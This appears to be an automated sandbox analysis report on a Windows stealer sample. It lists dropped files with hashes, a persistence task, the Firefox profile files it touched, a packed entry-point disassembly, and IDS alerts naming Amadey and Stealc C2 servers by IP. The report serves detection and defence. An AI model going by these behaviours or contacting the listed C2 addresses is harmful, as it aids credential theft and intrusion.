SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2462720
Entropy (8bit):	7.983144193808385
Encrypted:	false
SSDEEP:	49152:cZGGkSVrgjsoj+RZWnxzsGF0AX6FRFuZgqb8RN6cI6u4sQYITeZH:gkSiZjxnxz756FPuZgO8Rs6sQPKZH
MD5:	370E9DECC41C2ED09EC8F40262B9E2F9
SHA1:	2D5753CB4B20E5CE6822EF8B96F8CBB38B2B393A
SHA-256:	43D717F6AA2A1AE8BEF569917F6CCB5ADFD8BB965114196CC715D30E355268B4
SHA-512:	3212846AFFD8737FAA4E1791B0DCAFABB3AE15FBC329584E4318B14F53B248130ECC92836A2984D389A8A3FD37DD2429B4AAC82586C22078E70897F282813109
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!...................@.......................... ............@... .. .... .. .......... .................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data....`!......`!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1940480
Entropy (8bit):	7.950266172204623
Encrypted:	false
SSDEEP:	49152:NbfVepu5gL6Gbc1dVaI2f6R8R/5ywidd/18kC+1Ws:Lau5M6ff2S8RwzBfCAW
MD5:	A5CF525BBE7813EFDDEA80F027C62C59
SHA1:	BC036E78B77F6D745629107C9D38CFD2F4C0469B
SHA-256:	4488AC83B7639DF7583FB48F699CE66E3ED187FF08CDEA27863B4FBF8DDA7DAB
SHA-512:	D01EFBCB397786390200AF4B30386571DB6A359700DC0C5BE6E08F8FE1C1890DFD290E545EDDBEB4F3BA3A9D8649A1700A56464D12F72F7713DCC94D0629C63A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................0M...........@..........................`M.....'[....@.................................X...l...........................`.M...............................M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...avjczlwa......2.....................@...sysspafc..... M......v..............@....taggant.0...0M.."...z..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2462720
Entropy (8bit):	7.983144193808385
Encrypted:	false
SSDEEP:	49152:cZGGkSVrgjsoj+RZWnxzsGF0AX6FRFuZgqb8RN6cI6u4sQYITeZH:gkSiZjxnxz756FPuZgO8Rs6sQPKZH
MD5:	370E9DECC41C2ED09EC8F40262B9E2F9
SHA1:	2D5753CB4B20E5CE6822EF8B96F8CBB38B2B393A
SHA-256:	43D717F6AA2A1AE8BEF569917F6CCB5ADFD8BB965114196CC715D30E355268B4
SHA-512:	3212846AFFD8737FAA4E1791B0DCAFABB3AE15FBC329584E4318B14F53B248130ECC92836A2984D389A8A3FD37DD2429B4AAC82586C22078E70897F282813109
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!...................@.......................... ............@... .. .... .. .......... .................................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............y...#..(..................@....data....`!......`!..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1940480
Entropy (8bit):	7.950266172204623
Encrypted:	false
SSDEEP:	49152:NbfVepu5gL6Gbc1dVaI2f6R8R/5ywidd/18kC+1Ws:Lau5M6ff2S8RwzBfCAW
MD5:	A5CF525BBE7813EFDDEA80F027C62C59
SHA1:	BC036E78B77F6D745629107C9D38CFD2F4C0469B
SHA-256:	4488AC83B7639DF7583FB48F699CE66E3ED187FF08CDEA27863B4FBF8DDA7DAB
SHA-512:	D01EFBCB397786390200AF4B30386571DB6A359700DC0C5BE6E08F8FE1C1890DFD290E545EDDBEB4F3BA3A9D8649A1700A56464D12F72F7713DCC94D0629C63A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................0M...........@..........................`M.....'[....@.................................X...l...........................`.M...............................M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...avjczlwa......2.....................@...sysspafc..... M......v..............@....taggant.0...0M.."...z..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1940480
Entropy (8bit):	7.950266172204623
Encrypted:	false
SSDEEP:	49152:NbfVepu5gL6Gbc1dVaI2f6R8R/5ywidd/18kC+1Ws:Lau5M6ff2S8RwzBfCAW
MD5:	A5CF525BBE7813EFDDEA80F027C62C59
SHA1:	BC036E78B77F6D745629107C9D38CFD2F4C0469B
SHA-256:	4488AC83B7639DF7583FB48F699CE66E3ED187FF08CDEA27863B4FBF8DDA7DAB
SHA-512:	D01EFBCB397786390200AF4B30386571DB6A359700DC0C5BE6E08F8FE1C1890DFD290E545EDDBEB4F3BA3A9D8649A1700A56464D12F72F7713DCC94D0629C63A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af.............................0M...........@..........................`M.....'[....@.................................X...l...........................`.M...............................M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...avjczlwa......2.....................@...sysspafc..... M......v..............@....taggant.0...0M.."...z..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\ukuWaeRgPR.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.4748855381719905
Encrypted:	false
SSDEEP:	6:fSXUG5ZsUEZ+lX1QYShMl6lm6tFXqYEp5t/uy0l/y1ut0:fgYQ13vgxfXV/mut0
MD5:	81A53091B2859A145F6EBBD2C83870D9
SHA1:	F4B44486690177A077D9681FEE2FC441A3A11218
SHA-256:	3841DC4C60F8D54EAFF80B59D3057C8494BB4D5E6843FCC87C44B9536D89F920
SHA-512:	F5AC641835517C22F5A2A7342FA4DC59D51DFDBF15C42B0C46E3B93BEAB7F3E340DCD0B80A4212980191BBF3DDAAF207ACF4867C9E0E67C3C3351A1A8575FCB0
Malicious:	false
Preview:	....J..../K..6.g...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4189658801795835
Encrypted:	false
SSDEEP:	6144:MSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNd0uhiTw:3vloTMW+EZMM6DFyn03w
MD5:	7FBD14F8814E90F2739778C78ADDAA6D
SHA1:	A51C971A5402B4D9A65CDD934B5E28564E243A24
SHA-256:	6707987BD3B30AE4F5493EAADA214FD5CA3ACCC544D14801C1FA8FF3765B474B
SHA-512:	3F90E1D2CA39BB53495653F150F2073B2526733E8E2D89F42D247E4885C0CAAF55C1AD5B5DC9877DDA1AF91C81603BFD879689D43FDD41A7CA5A6118452E0CF5
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm^x..................................................................................................................................................................................................................................................................................................................................................OJ.,........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.983144193808385
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ukuWaeRgPR.exe
File size:	2'462'720 bytes
MD5:	370e9decc41c2ed09ec8f40262b9e2f9
SHA1:	2d5753cb4b20e5ce6822ef8b96f8cbb38b2b393a
SHA256:	43d717f6aa2a1ae8bef569917f6ccb5adfd8bb965114196cc715d30e355268b4
SHA512:	3212846affd8737faa4e1791b0dcafabb3ae15fbc329584e4318b14f53b248130ecc92836a2984d389a8a3fd37dd2429b4aac82586c22078e70897f282813109
SSDEEP:	49152:cZGGkSVrgjsoj+RZWnxzsGF0AX6FRFuZgqb8RN6cI6u4sQYITeZH:gkSiZjxnxz756FPuZgO8Rs6sQPKZH
TLSH:	2DB53360AD41BE4BE7F750F82BB9E85D7555BB021237A91F0062B8BC931216C93D8C9F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xfe0ac8
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6675FA89 [Fri Jun 21 22:11:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	001806c33a6e9fe5fbff34bdbd79b591

Entrypoint Preview

Instruction
jmp 00007FEE84935A8Ah
add byte ptr [esp+eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-18h], ah
add byte ptr [eax], al
add byte ptr [eax], al
pop ebp
sub ebp, 00000010h
sub ebp, 00BE0AC8h
jmp 00007FEE84935A89h
xchg eax, ebp
sbb al, 2Eh
mov eax, 00BE0AC8h
add eax, ebp
add eax, 0000004Ch
mov ecx, 000005A5h
mov edx, C7AD6D9Ch
xor byte ptr [eax], dl
inc eax
dec ecx
jne 00007FEE84935A7Ch
jmp 00007FEE84935A89h
jnbe 00007FEE84935A3Bh
outsd
pop eax
pop ss
push ecx
pop ss
adc eax, 9C9C9CA0h
sbb eax, 9C9C645Dh
pushfd
lahf
push ecx
and al, 98h
pushfd
pushfd
pushfd
mov ah, 9Ch
pushfd
pushfd
imul edi, dword ptr [esi-61h], 54h
pop ss
sbb eax, 9C9C9C90h
lahf
pop ecx
adc eax, edi
mov eax, B8981560h
int3
hlt
mov al, byte ptr [F49CBC7Ah]
push ss
mov eax, B09D9C01h
mov eax, DFF55DF4h
jns 00007FEE84935AF6h
cdq
pushfd
pushfd
pushfd
jne 00007FEE84935A38h
pushfd
pushfd
pushfd
leave
adc eax, esi
mov eax, 9419179Ch
pushfd
pushfd
pushfd
pop ss
or dword ptr [eax+179C9C9Ch], edx
adc dword ptr [esp+ebx*4+755D9C9Ch], ecx
sahf
lodsd
sahf
pop ds
pop esi
cwde
aad 93h
sbb dword ptr [eax+63h], ebp
arpl word ptr [ebx-3Fh], sp
pop esi
nop
pushfd
pop ss
adc byte ptr [eax+00000098h], bh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x9cf020	0xebb	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9cfedc	0x20c	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9cf000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x1b000	0xa400	735867430ff3a87313fee2703a9f4a86	False	0.9995236280487805	data	7.995655155988397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x1c000	0x8000	0x4000	41eac3f85c172b26dcf99e02a52e61bd	False	0.99365234375	data	7.978560730889681	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24000	0x213000	0x400	d59b78aa4005be05a358b1a0eab55f4a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x237000	0x5000	0x2000	f9be0f50d184eeea4bc8d057b651658d	False	0.989501953125	data	7.953798780964511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x23c000	0x790000	0x32800	731de9dd45f3e89e7efb9d56ed990031	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x9cc000	0x216000	0x216000	143c7b601ddd865337ed93f1fc3a1ac3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
msvcrt.dll	strncpy

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/27/24-19:27:04.511147	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49720	80	192.168.2.5	77.91.77.82
06/27/24-19:25:52.719549	TCP	2044246	ET TROJAN Win32/Stealc Requesting plugins Config from C2	49705	80	192.168.2.5	85.28.47.4
